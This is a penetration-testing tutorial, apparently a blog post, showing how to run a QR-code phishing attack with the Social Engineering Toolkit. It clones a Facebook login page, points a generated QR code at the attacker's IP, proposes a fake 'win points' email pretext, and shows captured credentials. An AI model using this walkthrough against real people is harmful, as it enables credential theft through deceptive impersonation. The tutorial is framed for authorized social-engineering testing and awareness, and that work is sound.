

QRCode Attack Vector

```
Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Third Party Modules

99) Return back to the main menu.

set> 2
```

In nowadays QR codes are almost everywhere. You can see them in every product, in concert tickets even in advertisements on the streets. The main purpose of these QR Codes is to be used for marketing purposes or for people who would like to know more information about a specific product or service. However this wide use of QR codes can be an extra advantage for hackers and ethical penetration testers. Hackers they can use this QR codes in order to attack unsuspecting users and penetration testers can include this type of attack in their social engineering engagements. In this article we will examine this type of attack.

If you are conducting a penetration test and you want to include this type of attack the implementation is a very easy process. Of course there are many ways and combinations that you can try with this attack vector but in this article we will see how we can use the QR code to harvest credentials. The first thing that you will need is the fake website. So we will use the Social Engineering Toolkit to create that. Of course from the menu we will select the option **2** which is the **Website Attack Vectors**.

```
Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Third Party Modules

99) Return back to the main menu.

set> 2
```

Selecting the Website Attack Vector

We need to harvest credentials so from the next menu we will choose the **Credential Harvester Attack Method**.

```
1) Java Applet Attack Method
2) Metasploit Browser Exploit Method
3) Credential Harvester Attack Method
4) Tabnabbing Attack Method
5) Man Left in the Middle Attack Method
6) Web Jacking Attack Method
7) Multi-Attack Web Method
8) Victim Web Profiler
9) Create or import a CodeSigning Certificate

99) Return to Main Menu

set:webattack>3
```

Choosing the Credential Harvester Attack

We will select from the existing templates to clone Facebook.

```
1) Web Templates
2) Site Cloner
3) Custom Import

99) Return to Webattack Menu

set:webattack>1
[-] Email harvester will allow you to utilize the clone capabilities within SET
[-] to harvest credentials or parameters from a website as well as place them into a report

1. Java Required
2. Gmail
3. Google
4. Facebook
5. Twitter

set:webattack> Select a template:4
```

Select from the existing templates Facebook

So we are cloning the website and then we are ready to wait for users that would insert their credentials.

```

[*] Cloning the website: http://www.facebook.com
[*] This could take a little bit...

The best way to use this attack is if username and password form
fields are available. Regardless, this captures all POSTs on a website.
[*] I have read the above message. [*]

Press {return} to continue.
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives below:

```

Cloning Facebook

Now its time to focus on the creation of the QR Code that would redirect the users to our fake website. There are many websites available on the Internet that allows you to create QR Codes but the Social Engineering Toolkit can also generate a QR Code for us. The process is very easy we just selecting the option **9** which is the **QRCode Generator Attack Vector**.

```

Select from the menu:

1) Spear-Phishing Attack Vectors
2) Website Attack Vectors
3) Infectious Media Generator
4) Create a Payload and Listener
5) Mass Mailer Attack
6) Arduino-Based Attack Vector
7) SMS Spoofing Attack Vector
8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Third Party Modules

99) Return back to the main menu.

```

QR Code Generator Attack Vector

SET will ask for a URL that will redirect the users that will scan this QR Code. We will use as the URL our IP address because we have set up the listener in this address.

```

The QRCode Attack Vector will create a QRCode for you with whatever URL you want.

When you have the QRCode Generated, select an additional attack vector within SET and
deploy the QRCode to your victim. For example, generate a QRCode of the SET Java Applet
and send the QRCode via a mailer.

Enter the URL you want the QRCode to go to: 192.168.1.71
[*] [*] QRCode has been generated under reports/qrcode_attack.png!
QRCode generated. Press {return} to go back to the main menu

```

Inserting the malicious link

There are many ways that you can deliver a QR Code to users but lets say that you want to send it via emails into your client's employee's. The way that you will introduce this QR Code to the employee's it's up to the penetration tester but lets say that you found a new Facebook application that requires to scan this in order to win some points. The unsuspecting users when will open their mails will see an image that will look like this:



Malicious QR Code

The users that will scan this QR Code with their mobile phones they will be redirected to the fake website which in our case is Facebook. If they put their credentials then it will appear to your system.

```
192.168.1.65 - - [17/Apr/2012 02:19:10] "GET / HTTP/1.1" 200 -  
[*] WE GOT A HIT! Printing the output:  
PARAM: charset_test=€,',€,',水,Д,€  
PARAM: locale=en_US  
POSSIBLE USERNAME FIELD FOUND: non_com_login=  
POSSIBLE USERNAME FIELD FOUND: email=pentestlab@pentestlab.com  
POSSIBLE PASSWORD FIELD FOUND: pass=12345  
POSSIBLE PASSWORD FIELD FOUND: pass_placeholder=  
PARAM: charset_test=€,',€,',水,Д,€  
PARAM: lsd=Bi_FQ  
[*] WHEN YOUR FINISHED, HIT CONTROL-C TO GENERATE A REPORT.
```

Harvesting the credentials

Conclusion

Curiosity is the biggest problem here. Many people would scan an unknown QR code with their mobile phones just because they want to know more. In many cases malicious users are using this type of attack in order to deliver malicious links not only for harvesting credentials but also for delivering malware and viruses to the mobile phones of the unsuspecting users.

We can say that the QR codes are in way the carriers that are storing the malicious links. It is an image that you don't know what it contains and you cannot decode it unless you have a scan reader. There are ways also that an attacker could modify a valid QR Code in order to redirect traffic to a malicious website. Users cannot verify of course that the QR Code has modified so they will probably think that the link is valid. Because of the format of that attack QR Codes can create a huge risk for any user.